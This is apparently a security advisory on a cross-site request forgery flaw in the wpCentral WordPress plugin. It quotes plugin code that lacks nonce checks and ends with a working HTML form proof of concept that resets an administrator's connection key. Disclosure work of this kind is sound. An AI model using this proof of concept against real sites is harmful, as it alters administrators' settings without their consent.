Cross-Site Request Forgery (CSRF) Vulnerability in wpCentral
As part of keeping track of vulnerabilities in WordPress plugins, we monitor if any of the 1,000 most popular plugins on the WordPress Plugin Directory are closed, in case that might be due to a security vulnerability. On Monday, one of those plugins, wpCentral, was closed. No reason has been given for that closure so far, but in a quick check over the plugin, we found a security vulnerability that could have led to it being removed. That vulnerability involves cross-site request forgery (CSRF) with the functionality accessible through the plugin’s settings page.
The plugin’s settings page is registered to only be accessible to users with the activate_plugins capability:
2121 2122 2123 2124 | $capability = 'activate_plugins';// TODO : Capability for accessing this page // Add the menu page add_menu_page(__('wpCentral Manager'), __('wpCentral'), $capability, 'wpcentral', 'wpcentral_page_handler', plugins_url('', __FILE__).'/images/wpc_icon_light_19.png'); |
Then for whatever reason, it is then restricted to only users with the manage_options capability:
2128 2129 2130 2131 2132 2133 2134 | function wpcentral_page_handler(){ if(!current_user_can('manage_options')){ wp_die('Sorry, but you do not have permissions to change settings.'); } include_once(dirname(__FILE__).'/settings.php'); |
Both of those capabilities are normally only given to Administrators.
When the settings page is accessed, the file /settings.php is loaded. That file contains this code that handles saving changes to what IP addresses are allowed to make API calls and for resetting the wpCentral connection key:
89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | if(isset($_POST['save_ips'])){ global $l, $error, $msg; $allowed_ips = wpc_optPOST('allowed_ips'); if(empty($allowed_ips)){ $error = $l['empty_allowed_ips']; }else{ update_option('wpcentral_allowed_ips', explode(',', $allowed_ips)); $msg = $l['successfully_added_ips']; } } if(isset($_POST['reset_connectionkey'])){ global $l, $error, $msg; $reset_conn_key = wpc_reset_conn_key(); if(!empty($reset_conn_key)){ $msg = "Successfully changed connection key"; }else{ $msg = "Failed to change connection key"; } } |
There should be a nonce check included in each of those to prevent cross-site request forgery (CSRF). Without that, an attacker could cause a logged-in Administrator to take those actions without intending it.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Proof of Concept
The following proof of concept causes the wpCentral connection key to be reset, when logged in to WordPress as an Administrator..
Make sure to replace “[path to WordPress]” with the location of WordPress .
<html>
<body>
<form action="http://[path to WordPress/wp-admin/admin.php?page=wpcentral" method="POST">
<input type="hidden" name="reset_connectionkey" value="resetconnectionkey" />
<input type="submit" value="Submit" />
</form>
</body>